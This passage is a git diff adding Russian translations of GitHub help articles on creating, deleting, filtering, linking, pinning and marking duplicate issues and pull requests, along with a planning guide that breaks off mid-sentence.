наведите указатель на задачу и щелкните значок {% octicon "issue-opened" aria-label="The issue opened icon" %} в правом верхнем углу задачи. Дополнительные сведения см. в разделе [Сведения о списках задач](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists). + +{% endif %} + +## Создание проблемы из запроса URL-адреса + +Для создания проблем можно использовать параметры запроса. Параметры запроса — это необязательные части URL-адреса, которые можно настроить для совместного использования определенного представления веб-страницы, например результатов поиска с фильтрами или шаблона проблемы на {% data variables.product.prodname_dotcom %}. Чтобы создать собственные параметры запроса, необходимо сопоставить пару ключа и значения. + +{% tip %} + +**Подсказка.** Также можно создавать шаблоны проблем, по умолчанию содержащие метки, уполномоченных пользователей и название проблемы. Дополнительные сведения см. в разделе "[Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". + +{% endtip %} + +Чтобы использовать эквивалентный параметр запроса, необходимо иметь соответствующие разрешения для любого действия. Например, потребуется разрешение, чтобы добавить метку в проблему для использования параметра запроса `labels`. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Если вы создадите недопустимый URL-адрес, используя параметры запроса, или если у вас нет соответствующих разрешений, URL-адрес вернет страницу ошибки `404 Not Found`. Если вы создаете URL-адрес, превышающий ограничения сервера, он вернет страницу ошибки `414 URI Too Long`. + +Параметр запроса | Пример +--- | --- +`title` | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` создает проблему с меткой "ошибка" и названием "Новый отчет об ошибках". +`body` | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.` создает проблему с названием "Новый отчет об ошибках" и комментарием "Описание проблемы" в тексте проблемы. +`labels` | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug` создает проблему с метками "нужна помощь" и "ошибка". +`milestone` | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` создает проблему с вехой "Тестирование вех". +`assignees` | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` создает проблему и назначает ее пользователю @octocat. +`projects` | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` создает проблему с названием "Исправление ошибок" и добавляет ее на доску проекта организации 1. +`template` | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` создает проблему с шаблоном в тексте проблемы. Параметр запроса `template` поддерживает шаблоны, хранящиеся в корневом подкаталоге `ISSUE_TEMPLATE`, а также в каталогах `docs/` и `.github/` в репозитории. Дополнительные сведения см. в разделе "[Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". + +{% ifversion code-scanning-task-lists %} +## Создание проблемы из оповещения {% data variables.product.prodname_code_scanning %} + +{% data reusables.code-scanning.beta-alert-tracking-in-issues %} Если для отслеживания работы и расстановки приоритетов вы используете проблемы, с их помощью можно также отслеживать оповещения {% data variables.product.prodname_code_scanning %}. +{% data reusables.code-scanning.alert-tracking-link %} + +{% endif %} + +## Дополнительные материалы + +- ["Создание документов на GitHub"](/github/writing-on-github) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/deleting-an-issue.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/deleting-an-issue.md new file mode 100644 index 000000000000..e402f8927af0 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/deleting-an-issue.md @@ -0,0 +1,38 @@ +--- +title: Удаление проблемы +intro: Пользователи с разрешениями администратора в репозитории могут удалить проблему из репозитория без возможности восстановления. +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/deleting-an-issue + - /articles/deleting-an-issue + - /github/managing-your-work-on-github/deleting-an-issue + - /issues/tracking-your-work-with-issues/creating-issues/deleting-an-issue +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 140bd1fdb272dd3203b993cf5f5f7038963fafe2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146774575' +--- +Возможность удаления проблем зависит от того, принадлежит ли репозиторий личной учетной записи или организации. +- В репозитории, принадлежащем личной учетной записи, проблемы может удалять только учетная запись владельца. +- В репозитории, принадлежащем организации, проблемы могут удалять только учетные записи с разрешениями администратора или владельца. + + Чтобы удалить проблему в репозитории, принадлежащем организации, владелец организации должен включить удаление проблем для репозиториев организации. Дополнительные сведения см. в статьях [Разрешение пользователям удалять проблемы в организации](/articles/allowing-people-to-delete-issues-in-your-organization) и [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Участники совместной работы не получают уведомления при удалении проблемы. При посещении URL-адреса удаленной проблемы участники совместной работы увидят сообщение о том, что веб-страница не найдена (но через API они могут проверить, что проблема была удалена). Пользователи с разрешениями администратора или владельца в соответствующем репозитории также увидят, кто и когда удалил проблему. + +1. Перейдите к проблеме, которую вы хотите удалить. +2. На правой боковой панели в разделе "Уведомления" нажмите **Удалить проблему**. +![Текст "Удалить проблему" в нижней части правой боковой панели на странице проблемы](/assets/images/help/issues/delete-issue.png) +4. Чтобы подтвердить удаление, нажмите **Удалить эту проблему**. + +## Дополнительные материалы + +- [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md new file mode 100644 index 000000000000..3904ea4beddc --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md @@ -0,0 +1,230 @@ +--- +title: Фильтрация и поиск проблем и запросов на вытягивание +intro: 'Чтобы найти подробные сведения о репозитории в {% data variables.product.product_name %}, можно фильтровать, сортировать и выполнять поиск, а также запрашивать запросы на вытягивание, относящиеся к репозиторию.' +redirect_from: + - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees + - /articles/filtering-issues-and-pull-requests-by-assignees + - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-assignees + - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-labels + - /articles/filtering-issues-and-pull-requests-by-labels + - /github/managing-your-work-on-github/filtering-issues-and-pull-requests-by-labels + - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-issues-and-pull-requests + - /articles/filtering-issues-and-pull-requests + - /github/managing-your-work-on-github/filtering-issues-and-pull-requests + - /github/managing-your-work-on-github/finding-information-in-a-repository/filtering-pull-requests-by-review-status + - /articles/filtering-pull-requests-by-review-status + - /github/managing-your-work-on-github/filtering-pull-requests-by-review-status + - /github/managing-your-work-on-github/finding-information-in-a-repository + - /articles/finding-information-in-a-repository + - /github/managing-your-work-on-github/finding-information-in-a-repository/sharing-filters + - /articles/sharing-filters + - /github/managing-your-work-on-github/sharing-filters + - /github/managing-your-work-on-github/finding-information-in-a-repository/using-search-to-filter-issues-and-pull-requests + - /articles/using-search-to-filter-issues-and-pull-requests + - /github/managing-your-work-on-github/using-search-to-filter-issues-and-pull-requests + - /github/managing-your-work-on-github/finding-information-in-a-repository/sorting-issues-and-pull-requests + - /articles/sorting-issues-and-pull-requests + - /github/managing-your-work-on-github/sorting-issues-and-pull-requests + - /github/administering-a-repository/finding-information-in-a-repository + - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests + - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-assignees + - /github/administering-a-repository/finding-information-in-a-repository/filtering-issues-and-pull-requests-by-labels + - /github/administering-a-repository/finding-information-in-a-repository/filtering-pull-requests-by-review-status + - /github/administering-a-repository/finding-information-in-a-repository/sorting-issues-and-pull-requests + - /github/administering-a-repository/finding-information-in-a-repository/using-search-to-filter-issues-and-pull-requests + - /github/administering-a-repository/finding-information-in-a-repository/sharing-filters +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Issues + - Pull requests +shortTitle: Filter and search +type: how_to +ms.openlocfilehash: 24f91958f98f4b6744ee3b21bf3d748aef062eb6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107600' +--- +{% data reusables.cli.filter-issues-and-pull-requests-tip %} + +## Фильтрация проблем и запросов на вытягивание + +Вы можете применять к проблемам и запросам на вытягивание фильтры по умолчанию, чтобы упорядочивать списки. + +{% data reusables.search.requested_reviews_search %} + +Применяйте фильтры к проблемам и запросам на вытягивание, чтобы найти: +- Все открытые проблемы и запросы на вытягивание. +- Проблемы и запросы на вытягивание, созданные вами. +- Проблемы и запросы на вытягивание, назначенные вам. +- Проблемы и запросы на вытягивание, в которых вас упомянули ([ **@mentioned**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)). + +{% data reusables.cli.filter-issues-and-pull-requests-tip %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. Щелкните **Фильтры**, чтобы выбрать нужный тип фильтра. + ![Использование раскрывающегося списка "Фильтры"](/assets/images/help/issues/issues_filter_dropdown.png) + +## Фильтрация проблем и запросов на вытягивание по пользователям, которым назначены элементы + +Назначив [кому-либо проблему или запрос на вытягивание](/articles/assigning-issues-and-pull-requests-to-other-github-users), вы можете выполнять поиск по лицам, которые получили назначение. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. В правом верхнем углу нажмите на раскрывающееся меню "Кому назначено". +4. В раскрывающемся меню "Кому назначено" перечислены все, у кого есть доступ на запись в ваш репозиторий. Щелкните имя пользователя, которому назначены интересующие вас элементы, или нажмите кнопку **Не назначено никому**, чтобы посмотреть, какие проблемы не назначены. +![Использование раскрывающегося списка "Кому назначено"](/assets/images/help/issues/issues_assignee_dropdown.png) + +{% tip %} + +Чтобы очистить фильтр, нажмите кнопку **Очистить текущий поисковый запрос, фильтры и сортировки**. + +{% endtip %} + +## Фильтрация проблем и запросов на вытягивание по меткам + +После [применения меток к проблеме или запросу на вытягивание](/articles/applying-labels-to-issues-and-pull-requests) вы можете выполнять поиск по меткам. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.labels %} +4. В списке меток щелкните метку, чтобы просмотреть проблемы и запросы на вытягивание, к которым она применена. + ![Список меток репозитория](/assets/images/help/issues/labels-page.png) + +{% tip %} + +**Совет**. Чтобы очистить фильтр, нажмите кнопку **Очистить текущий поисковый запрос, фильтры и сортировки**. + +{% endtip %} + +## Фильтрация запросов на вытягивание по состоянию проверки + +Вы можете использовать фильтры для вывода списка запросов на вытягивание по состоянию проверки, чтобы искать запросы на вытягивание, которые вы проверили или вам поручили проверить. + +Вы можете отфильтровать список запросов на вытягивание в репозитории, чтобы найти: +- Запросы на вытягивание, которые еще не [проверены](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). +- Запросы на вытягивание, [требующие проверки](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) до слияния. +- Запросы на вытягивание, утвержденные рецензентом. +- Запросы на вытягивание, в которых рецензент запросил изменения. +- Проверенные запросы на вытягивание +- Запросы на вытягивание, которые кто-то попросил вас проверить напрямую +- Запросы на вытягивание, которые [поручили проверить вам или вашей команде](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} +3. В правом верхнем углу нажмите на раскрывающееся меню "Проверки". + ![Раскрывающееся меню "Проверки" в меню фильтра над списком запросов на вытягивание](/assets/images/help/pull_requests/reviews-filter-dropdown.png) +4. Выберите фильтр, чтобы найти все запросы на вытягивание с этим состоянием. + ![Список фильтров в раскрывающемся меню "Проверки"](/assets/images/help/pull_requests/pr-review-filters.png) + +## Использование поиска для фильтрации проблем и запросов на вытягивание + +Используйте расширенные фильтры для поиска проблем и запросов на вытягивание, которые соответствуют определенным критериям. + +### Поиск проблем и запросов на вытягивание + +{% webui %} + +В строке поиска проблем и запросов на вытягивание можно настраивать пользовательские фильтры и сортировать результаты по широкому спектру критериев. Панель поиска можно найти на вкладках **Проблемы** и **Запросы на вытягивание**, а также на [панелях мониторинга "Проблемы и запросы на вытягивание"](/articles/viewing-all-of-your-issues-and-pull-requests). + +![Панель поиска проблем и запросов на вытягивание](/assets/images/help/issues/issues_search_bar.png) + +{% tip %} + +**Совет.** {% data reusables.search.search_issues_and_pull_requests_shortcut %} + +{% endtip %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Для поиска проблем или запросов на вытягивание можно использовать {% data variables.product.prodname_cli %}. Используйте подкоманду `gh issue list` или `gh pr list` с аргументом `--search` и поисковой запрос. + +Например, можно выбрать проблемы, которые никому не назначены, с метками `help wanted` или `bug`, и отсортировать их по дате создания. + +```shell +gh issue list --search 'no:assignee label:"help wanted",bug sort:created-asc' +``` + +Вы также можете вывести все запросы на вытягивание, в которых упоминается команда `octo-org/octo-team`. + +```shell +gh pr list --search "team:octo-org/octo-team" +``` + +{% endcli %} + +### Сведения об условиях поиска + +С помощью условий поиска для запросов на вытягивание и проблем можно: + +- Фильтровать проблемы и запросы на вытягивание по автору: `state:open type:issue author:octocat`. +- Фильтровать проблемы и запросы на вытягивание, которые связаны с определенными пользователями, но не обязательно упоминают их ([ **@mention**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)): `state:open type:issue involves:octocat`. +- Фильтровать проблемы и запросы на вытягивание по пользователям, которым они назначены: `state:open type:issue assignee:octocat`. +- Фильтровать проблемы и запросы на вытягивание по метке: `state:open type:issue label:"bug"`. +- Фильтровать условия поиска, используя `-` перед запросом: `state:open type:issue -author:octocat`. + +{% tip %} + +**Совет.** Вы можете фильтровать проблемы и запросы на вытягивание по метке с помощью логического ИЛИ или логического И. +- Чтобы фильтровать проблемы с помощью логического ИЛИ, используйте синтаксис запятой: `label:"bug","wip"`. +- Чтобы фильтровать проблемы с помощью логического И, используйте отдельные фильтры меток: `label:"bug" label:"wip"`. + +{% endtip %} + +Для проблем с помощью поиска можно также: + +- Фильтровать проблемы, связанные с запросом на вытягивание, по закрывающей ссылке: `linked:pr`{% ifversion issue-close-reasons %} +- Фильтровать проблемы по причине их закрытия: `is:closed reason:complete` или `is:closed reason:"not planned"`{% endif %} + +Для запросов на вытягивание можно также использовать поиск, чтобы: +- Фильтровать [черновики](/articles/about-pull-requests#draft-pull-requests) запросов на вытягивание: `is:draft`. +- Фильтровать запросы на вытягивание, которые еще не [проверены](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews): `state:open type:pr review:none`. +- Фильтровать запросы на вытягивание, [требующие проверки](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) до слияния: `state:open type:pr review:required`. +- Фильтровать запросы на вытягивание, утвержденные рецензентом: `state:open type:pr review:approved`. +- Фильтровать запросы на вытягивание, в которых рецензент запросил изменения: `state:open type:pr review:changes_requested`. +- Фильтровать запросы на вытягивание по [рецензенту](/articles/about-pull-request-reviews/): `state:open type:pr reviewed-by:octocat`. +- Фильтрация запросов на вытягивание по конкретному пользователю [, запрашиваемого для проверки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat` +- Отфильтруйте запросы на вытягивание, которые кто-то попросил вас просмотреть напрямую: `state:open type:pr user-review-requested:@me` +- Фильтровать запросы на вытягивание по команде, запросившей проверку: `state:open type:pr team-review-requested:github/docs` +- Фильтровать запросы на вытягивание, связанные с проблемой, которую запрос на вытягивание может закрыть: `linked:issue`. + +## Сортировка проблем и запросов на вытягивание + +Фильтры можно отсортировать для получения более подробной информации за определенный период. + +Отфильтрованное представление можно отсортировать по следующим критериям: + +* Самые новые созданные проблемы или запросы на вытягивание. +* Самые старые созданные проблемы или запросы на вытягивание. +* Проблемы или запросы на вытягивание с наибольшим числом комментариев. +* Проблемы или запросы на вытягивание с наименьшим числом комментариев. +* Самые новые обновленные проблемы или запросы на вытягивание. +* Самые старые обновленные проблемы или запросы на вытягивание. +* Самая частая реакция на проблемы или запросы на вытягивание. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +1. В правом верхнем углу нажмите на раскрывающееся меню "Сортировка". + ![Использование раскрывающейся вкладки "Сортировка"](/assets/images/help/issues/issues_sort_dropdown.png) + +Чтобы очистить выбор сортировки, нажмите кнопку **Сортировка** > **Самые новые**. + +## Общий доступ к отфильтрованному представлению + +При фильтрации или сортировке проблем и запросов на вытягивание URL-адрес браузера автоматически обновляется в соответствии с новым представлением. + +Вы можете отправить URL-адрес, сгенерированный проблемой, любому пользователю, и он увидит то же представление фильтра, которое видите вы. + +Например, если вы отфильтровали проблемы, назначенные Hubot, и отсортировали результаты по самым старым открытым проблемам, URL-адрес будет выглядеть примерно следующим образом: + +``` +/issues?q=state:open+type:issue+assignee:hubot+sort:created-asc +``` + +## Дополнительные материалы + +- [Поиск проблем и запросов на вытягивание](/articles/searching-issues) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/index.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/index.md new file mode 100644 index 000000000000..f702dbb88bbb --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/index.md @@ -0,0 +1,38 @@ +--- +title: Отслеживание результатов устранения неполадок +shortTitle: Issues +intro: 'Используйте {% data variables.product.prodname_github_issues %} для отслеживания идей и работы с {% data variables.product.prodname_dotcom %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Issues +children: + - /about-issues + - /quickstart + - /creating-an-issue + - /about-tasklists + - /linking-a-pull-request-to-an-issue + - /creating-a-branch-for-an-issue + - /assigning-issues-and-pull-requests-to-other-github-users + - /viewing-all-of-your-issues-and-pull-requests + - /filtering-and-searching-issues-and-pull-requests + - /marking-issues-or-pull-requests-as-a-duplicate + - /pinning-an-issue-to-your-repository + - /transferring-an-issue-to-another-repository + - /closing-an-issue + - /deleting-an-issue + - /planning-and-tracking-work-for-your-team-or-project +redirect_from: + - /issues/tracking-your-work-with-issues/creating-issues + - /issues/tracking-your-work-with-issues/managing-issues +ms.openlocfilehash: fa4e3db684dbb39e30109452f4358753b5daf5ae +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159890' +--- + diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md new file mode 100644 index 000000000000..10b193cadfce --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md @@ -0,0 +1,105 @@ +--- +title: Linking a pull request to an issue +intro: 'You can link a pull request {% ifversion link-existing-branches-to-issue %}or branch {% endif %}to an issue to show that a fix is in progress and to automatically close the issue when the pull request {% ifversion link-existing-branches-to-issue %}or branch {% endif %} is merged.' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue + - /articles/closing-issues-via-commit-message + - /articles/closing-issues-via-commit-messages + - /articles/closing-issues-using-keywords + - /github/managing-your-work-on-github/closing-issues-using-keywords + - /github/managing-your-work-on-github/linking-a-pull-request-to-an-issue + - /issues/tracking-your-work-with-issues/creating-issues/linking-a-pull-request-to-an-issue +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Link PR to issue +--- +{% note %} + +**Note:** The special keywords in a pull request description are interpreted when the pull request targets the repository's *default* branch. However, if the PR's base is *any other branch*, then these keywords are ignored, no links are created and merging the PR has no effect on the issues. **If you want to link a pull request to an issue using a keyword, the PR must be on the default branch.** + +{% endnote %} + +## About linked issues and pull requests + +You can link an issue to a pull request manually or using a supported keyword in the pull request description. + +When you link a pull request to the issue the pull request addresses, collaborators can see that someone is working on the issue. + +When you merge a linked pull request into the default branch of a repository, its linked issue is automatically closed. For more information about the default branch, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." + +## Linking a pull request to an issue using a keyword + +You can link a pull request to an issue by using a supported keyword in the pull request's description or in a commit message. The pull request **must be** on the default branch. + +* close +* closes +* closed +* fix +* fixes +* fixed +* resolve +* resolves +* resolved + +If you use a keyword to reference a pull request comment in another pull request, the pull requests will be linked. Merging the referencing pull request also closes the referenced pull request. + +The syntax for closing keywords depends on whether the issue is in the same repository as the pull request. + +Linked issue | Syntax | Example +--------------- | ------ | ------ +Issue in the same repository | *KEYWORD* #*ISSUE-NUMBER* | `Closes #10` +Issue in a different repository | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100` +Multiple issues | Use full syntax for each issue | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100` + +Only manually linked pull requests can be manually unlinked. To unlink an issue that you linked using a keyword, you must edit the pull request description to remove the keyword. + +You can also use closing keywords in a commit message. The issue will be closed when you merge the commit into the default branch, but the pull request that contains the commit will not be listed as a linked pull request. + +## Manually linking a pull request to an issue using the pull request sidebar + +Anyone with write permissions to a repository can manually link a pull request to an issue from the pull request sidebar. + +You can manually link up to ten issues to each pull request. The issue and pull request must be in the same repository. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-pr %} +3. In the list of pull requests, click the pull request that you'd like to link to an issue. +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +4. In the right sidebar, in the "Development" section click {% octicon "gear" aria-label="The Gear icon" %}. +{% else %} +4. In the right sidebar, click **Linked issues**. + ![Linked issues in the right sidebar](/assets/images/help/pull_requests/linked-issues.png) +{% endif %} +5. Click the issue you want to link to the pull request. + ![Drop down to link issue](/assets/images/help/pull_requests/link-issue-drop-down.png) + +{% ifversion link-existing-branches-to-issue %} + +## Manually linking a pull request or branch to an issue using the issue sidebar + +Anyone with write permissions to a repository can manually link a pull request or branch to an issue from the issue sidebar. + +You can manually link up to ten issues to each pull request. The issue can be in a different repository than the linked pull request or branch. Your last selected repository will be remembered + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-issues %} +3. In the list of issues, click the issue that you'd like to link a pull request or branch to. +4. In the right sidebar, click **Development**. + ![Development menu in the right sidebar](/assets/images/help/issues/development-menu.png) +5. Click the repository containing the pull request or branch you want to link to the issue. + ![Drop down to select repository](/assets/images/help/issues/development-menu-select-repository.png) +6. Click the pull request or branch you want to link to the issue. + ![Drop down to link pull request or branch](/assets/images/help/issues/development-menu-select-pr-or-branch.png) +7. Click **Apply**. + ![Apply](/assets/images/help/issues/development-menu-apply.png) + +{% endif %} + +## Further reading + +* "[Autolinked references and URLs](/articles/autolinked-references-and-urls/#issues-and-pull-requests)" diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md new file mode 100644 index 000000000000..e3da26b38b83 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate.md @@ -0,0 +1,35 @@ +--- +title: Маркировка проблем или запросов на вытягивание как дубликата +intro: 'Пометьте проблему или запрос на вытягивание как дубликат, чтобы отслеживать аналогичные проблемы или запросы на вытягивание и удалять ненужные нагрузки как для ответственных специалистов, так и для участников совместной работы.' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-duplicate-issues-and-pull-requests + - /articles/about-duplicate-issues-and-pull-requests + - /github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests + - /issues/tracking-your-work-with-issues/managing-issues/marking-issues-or-pull-requests-as-a-duplicate +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: fc5a3c28a9d7d05b15aab685887f587fc14e955b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135422' +--- +Чтобы пометить событие временной шкалы как дубликат, пользователь, создающий дубликат комментария ссылки, должен иметь доступ на запись в репозиторий, в котором он создает комментарий. + +## Пометка дубликатов + +Чтобы пометить проблему или запрос на вытягивание как дубликат, введите "Дубликат" и номер проблемы или запроса на вытягивание, которые он дублирует в теле нового комментария. Кроме того, проблему или запрос на вытягивание можно пометить как дубликат, используя сохраненные ответы GitHub "Дубликат проблемы" или "Дубликат запроса на вытягивание". Дополнительные сведения см. в статье [Сохраненные ответы Azure](/articles/about-saved-replies). + +![Синтаксис дубликатов проблем](/assets/images/help/issues/duplicate-issue-syntax.png) + +## Удаление отметки дубликата + +Отметку дубликата с проблем и запросов на вытягивание можно удалить, нажав на кнопку **Отменить** на временной шкале. При этом будет добавлено новое событие временной шкалы, показывающее, что отметка дубликата у проблемы или запроса на вытягивание удалена. + +![Кнопка удаления отметки дубликата у проблемы](/assets/images/help/issues/unmark-duplicate-issue-button.png) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md new file mode 100644 index 000000000000..61be1f78f4af --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository.md @@ -0,0 +1,30 @@ +--- +title: Закрепление проблемы в репозитории +intro: Вы можете закрепить не более трех важных проблем над списком проблем в репозитории. +permissions: 'People with write access to a repository can pin issue in the repository. {% data reusables.enterprise-accounts.emu-permission-repo %}' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/pinning-an-issue-to-your-repository + - /articles/pinning-an-issue-to-your-repository + - /github/managing-your-work-on-github/pinning-an-issue-to-your-repository + - /issues/tracking-your-work-with-issues/managing-issues/pinning-an-issue-to-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Pin an issue +ms.openlocfilehash: fd02bb1102e9da35fb534e95fce954ff5c11ec57 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145135410' +--- +![Закрепленные проблемы](/assets/images/help/issues/pinned-issues.png) + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} +1. В списке проблем щелкните проблему, которую хотите закрепить. +2. На правой боковой панели нажмите **Закрепить проблему**. + ![Кнопка закрепления проблемы](/assets/images/help/repository/pin-issue.png) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md new file mode 100644 index 000000000000..0e5ad7425b72 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md @@ -0,0 +1,132 @@ +--- +title: Планирование и отслеживание работы для команды или проекта +intro: 'Основные сведения об использовании средств планирования и отслеживания {% data variables.product.prodname_dotcom %} для управления работой c командой или проектом.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Project management + - Projects +ms.openlocfilehash: 782351c80164c90d479120996edf25329d20078c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423615' +--- +## Введение +Репозитории, проблемы, доски проектов и другие инструменты {% data variables.product.prodname_dotcom %} можно использовать для планирования и отслеживания работы, будь то работа над отдельным проектом или в междисциплинарной команде. + +Из этого руководства вы узнаете, как создать и настроить репозиторий для совместной работы с группой людей, создавать шаблоны{% ifversion fpt or ghec %} и формы проблем{% endif %}, открывать проблемы и использовать списки задач для деления работ на фрагменты, а также как создать доску проекта для организации и отслеживания проблем. + +## Создание репозитория +При запуске нового проекта, инициативы или компонента в первую очередь создается репозиторий. Репозитории содержат все файлы проекта и служат местом для совместной работы с другими пользователями и управления работой. Дополнительные сведения см. в разделе [Создание репозитория](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository). + +Репозитории можно настраивать для разных целей в зависимости от ваших потребностей. Вот несколько основных способов применения: + +- **Репозитории продуктов**: крупные организации, которые отслеживают свою работу и цели по отдельным продуктам, могут иметь один или несколько репозиториев, содержащих код и другие файлы. Такие репозитории также можно использовать для документации, отчетов о работоспособности продукта или планов по его развитию. +- **Репозитории проектов**: репозитории можно создавать как для личных проектов, так и для проектов, над которым вы работаете вместе с другими пользователями. Организации, которая отслеживает работу по краткосрочным инициативам или проектам, например консалтинговой компании, необходимо получать отчеты о работоспособности проекта и перераспределять людей между разными проектами с учетом навыков и потребностей. Код проекта часто содержится в одном репозитории. +- **Репозитории команд**: в организации, где над проектами работают команды, такие как 